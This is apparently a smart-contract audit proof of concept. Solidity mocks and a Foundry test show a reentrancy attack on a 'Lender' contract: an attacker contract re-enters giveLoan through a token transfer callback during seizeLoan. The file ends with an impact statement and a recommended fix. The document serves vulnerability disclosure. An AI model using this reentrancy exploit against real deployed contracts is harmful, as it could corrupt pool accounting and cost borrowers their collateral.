pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
import "../../src/utils/Structs.sol";
import {Lender} from "../../src/Lender.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function isContract(address addr) public view returns(bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
if(isContract(to)) {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
}
contract LenderMock is IERC20WithCallback {
Lender public lender;
event receivedFee(address, uint256);
function setLender() public returns(Lender) {
return new Lender();
}
function beforeTokenTransfer(address to, uint256 amount) external {
emit receivedFee(to, amount);
}
}
contract AttackContract_2 is IERC20WithCallback {
uint256[] loanIds;
address public lender;
address public token;
address public collateral;
uint256 amountReceived;
bytes32 public poolId;
bytes32[] public poolIds;
uint256 debt;
uint256 cnt;
function setup(address _lender, address _token, address _collateral, uint256[] calldata _loanIds, bytes32[] calldata _poolIds) public {
loanIds = _loanIds;
poolIds = _poolIds;
lender = _lender;
token = _token;
collateral = _collateral;
(address pool_lender,,address pool_loanToken, address pool_collateralToken, uint256 _debt,,,,,) = Lender(_lender).loans(_loanIds[0]);
debt = _debt;
poolId = Lender(lender).getPoolId(pool_lender, pool_loanToken, pool_collateralToken);
}
function beforeTokenTransfer(address to, uint256 amount) external {
Lender(lender).giveLoan(loanIds, poolIds);
}
}
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./mock/SeizeAttackMock.sol";
contract SeizeLoanToGiveLoan is Test {
AttackContract_2 public attack_2_Contract = new AttackContract_2();
Lender public lender;
TERC20 public loanToken;
ERC777 public collateralToken;
address public attack_2_Address = address(attack_2_Contract);
address public lender2 = address(0x2);
address public borrower = address(0x5);
address public borrower1 = address(0x6);
address public borrower2 = address(0x7);
function setUp() public {
LenderMock lenderMock = new LenderMock();
lender = lenderMock.setLender();
loanToken = new TERC20();
collateralToken = new ERC777();
loanToken.mint(attack_2_Address, 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
collateralToken.mint(address(borrower1), 100000*10**18);
collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(attack_2_Address);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_set_and_borrow(address _lender, address _borrower) public returns(bytes32) {
bytes32 poolId = test_setPool(_lender);
test_borrow(poolId, _borrower);
return poolId;
}
function test_setPool(address _lender) public returns(bytes32 poolId) {
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*1e18,
poolBalance: 10000*1e18,
maxLoanRatio: 2*1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
return lender.setPool(p);
}
function test_borrow(bytes32 _poolId, address _borrower) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: _poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_seizeLoan_to_giveLoan() public {
bytes32 poolId = test_set_and_borrow(attack_2_Address, borrower);
test_borrow(poolId, borrower1);
test_borrow(poolId, borrower2);
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(attack_2_Address);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2 days);
bytes32 newPoolId = test_setPool(lender2);
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
);
attack_2_Contract.setup(address(lender), address(loanToken), address(collateralToken), loanIds, poolIds);
(,,,, uint256 _pb2,,,, uint256 _ol2) = lender.pools(poolId);
(,,,, uint256 _pb,,,, uint256 _ol) = lender.pools(newPoolId);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", _pb2, 18);
emit log_named_decimal_uint("New Pool Balance: ", _pb, 18);
emit log_named_decimal_uint("Old Pool outstanding debt: ", _ol2, 18);
emit log_named_decimal_uint("new Pool outstanding debt: ", _ol, 18);
emit log_string("");
lender.seizeLoan(loanIds);
(,,,, uint256 pb2,,,, uint256 ol2) = lender.pools(poolId);
(,,,, uint256 pb,,,, uint256 ol) = lender.pools(newPoolId);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", pb2, 18);
emit log_named_decimal_uint("New Pool Balance: ", pb, 18);
emit log_named_decimal_uint("Old Pool outstanding debt: ", ol2, 18);
emit log_named_decimal_uint("new Pool outstanding debt: ", ol, 18);
emit log_string("");
}
}
Loan is deleted after loan transferred to other pool causes inconsistent state in pool data.
Loan can't be repaid by borrower as funds by borrower are seized by attacker before it is set to auction.
Use reentrancyGaurd or strictly follow Checks Effects Interactions pattern by deleting loan details prior transfer of tokens.